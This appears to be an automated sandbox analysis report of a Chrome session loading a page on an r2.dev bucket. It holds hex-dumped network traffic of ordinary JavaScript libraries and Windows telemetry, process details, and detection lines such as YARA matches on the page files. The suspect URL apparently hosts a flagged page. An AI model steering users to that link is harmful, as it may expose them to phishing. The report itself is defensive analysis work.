2024-09-29 00:10:23 UTC	1369	IN	Data Raw: 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a 74 68 69 73 2c 73 74 79 6c 65 73 3a 7b 7d 2c 61 72 72 6f 77 Data Ascii: on` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:this,styles:{},arrow
2024-09-29 00:10:23 UTC	1369	IN	Data Raw: 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 2c 72 7c 7c 48 28 6e 28 70 2e 70 61 72 65 6e 74 Data Ascii: oy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0}),r\|\|H(n(p.parent
2024-09-29 00:10:23 UTC	1369	IN	Data Raw: 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 65 6e 64 27 3d 3d 3d 65 3f 27 73 74 61 72 74 27 3a 27 73 74 Data Ascii: e(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'end'===e?'start':'st
2024-09-29 00:10:23 UTC	1369	IN	Data Raw: 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 29 7b 76 61 72 20 6f 2c 69 3d 74 2e 6f 66 66 73 65 74 Data Ascii: 1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,t){var o,i=t.offset
2024-09-29 00:10:23 UTC	1369	IN	Data Raw: 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 Data Ascii: i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Object.prototype.has

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49732	18.192.94.96	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:23 UTC	619	OUT	GET /icon.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:23 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:10:23 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XHTE349GCC0SF98WV7SVWB Content-Length: 50 Connection: close
2024-09-29 00:10:23 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 48 54 45 33 34 39 47 43 43 30 53 46 39 38 57 56 37 53 56 57 42 Data Ascii: Not Found - Request ID: 01J8XHTE349GCC0SF98WV7SVWB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49731	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:23 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-29 00:10:23 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=146079 Date: Sun, 29 Sep 2024 00:10:23 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49739	185.199.108.153	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:24 UTC	382	OUT	GET /gibberish-detector.js/gibberish.min.js HTTP/1.1 Host: gtomitsuka.github.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:24 UTC	700	IN	HTTP/1.1 200 OK Connection: close Content-Length: 928 Server: GitHub.com Content-Type: application/javascript; charset=utf-8 permissions-policy: interest-cohort=() Last-Modified: Sun, 28 Jul 2019 00:43:06 GMT Access-Control-Allow-Origin: * ETag: "5d3cef9a-3a0" expires: Sat, 28 Sep 2024 23:09:01 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: FD25:946D5:253C7CE:29B609A:66F88A34 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:10:24 GMT Via: 1.1 varnish Age: 125 X-Served-By: cache-ewr-kewr1740055-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727568624.257603,VS0,VE2 Vary: Accept-Encoding X-Fastly-Request-ID: 1ddf9bddebdc9ef6eacedf47dbfb0a33ec92bbff
2024-09-29 00:10:24 UTC	928	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 68 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 63 2c 62 2c 61 29 7b 72 65 74 75 72 6e 20 63 3c 62 3f 28 61 3d 62 2d 63 2c 4d 61 74 68 2e 6c 6f 67 28 62 29 2f 4d 61 74 68 2e 6c 6f 67 28 61 29 2a 31 30 30 29 3a 63 3e 61 3f 28 62 3d 63 2d 61 2c 4d 61 74 68 2e 6c 6f 67 28 31 30 30 2d 61 29 2f 4d 61 74 68 2e 6c 6f 67 28 62 29 2a 31 30 30 29 3a 30 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 63 29 7b 66 6f 72 28 76 61 72 20 62 3d 7b 7d 2c 61 3d 22 22 2c 64 3d 30 3b 64 3c 63 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 63 5b 64 5d 69 6e 20 62 7c 7c 28 62 5b 63 5b 64 5d 5d 3d 31 2c 61 2b 3d 63 5b 64 5d 29 3b 72 65 74 75 72 6e 20 61 7d 68 2e 64 65 74 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 69 66 28 30 3d 3d 3d 63 2e 6c 65 6e 67 74 68 7c 7c 21 63 2e Data Ascii: (function(h){function e(c,b,a){return c<b?(a=b-c,Math.log(b)/Math.log(a)100):c>a?(b=c-a,Math.log(100-a)/Math.log(b)100):0}function k(c){for(var b={},a="",d=0;d<c.length;++d)c[d]in b\|\|(b[c[d]]=1,a+=c[d]);return a}h.detect=function(c){if(0===c.length\|\|!c.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49741	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:24 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-29 00:10:25 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=146107 Date: Sun, 29 Sep 2024 00:10:25 GMT Content-Length: 55 Connection: close X-CID: 2
2024-09-29 00:10:25 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49748	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:31 UTC	2148	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2484 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1727568597813&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF
2024-09-29 00:10:31 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-09-29 00:10:31 UTC	2483	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-09-29 00:10:31 UTC	476	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 2E8C872AACC942169E58CF4E50B365C2 Ref B: LAXEDGE1710 Ref C: 2024-09-29T00:10:31Z Date: Sun, 29 Sep 2024 00:10:31 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.44ed0117.1727568631.16268604

Target ID:	0
Start time:	20:10:09
Start date:	28/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	20:10:14
Start date:	28/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 --field-trial-handle=2312,i,4801764963995322035,18166744898279326434,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	20:10:16
Start date:	28/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML

Source: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html	HTTP Parser: No <meta name="author".. found
Source: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html	HTTP Parser: No <meta name="author".. found
Source: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html	HTTP Parser: No <meta name="author".. found

Source: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /index.html HTTP/1.1Host: pub-821bc2e4df6b408388d428df1bbc3d7f.r2.devConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
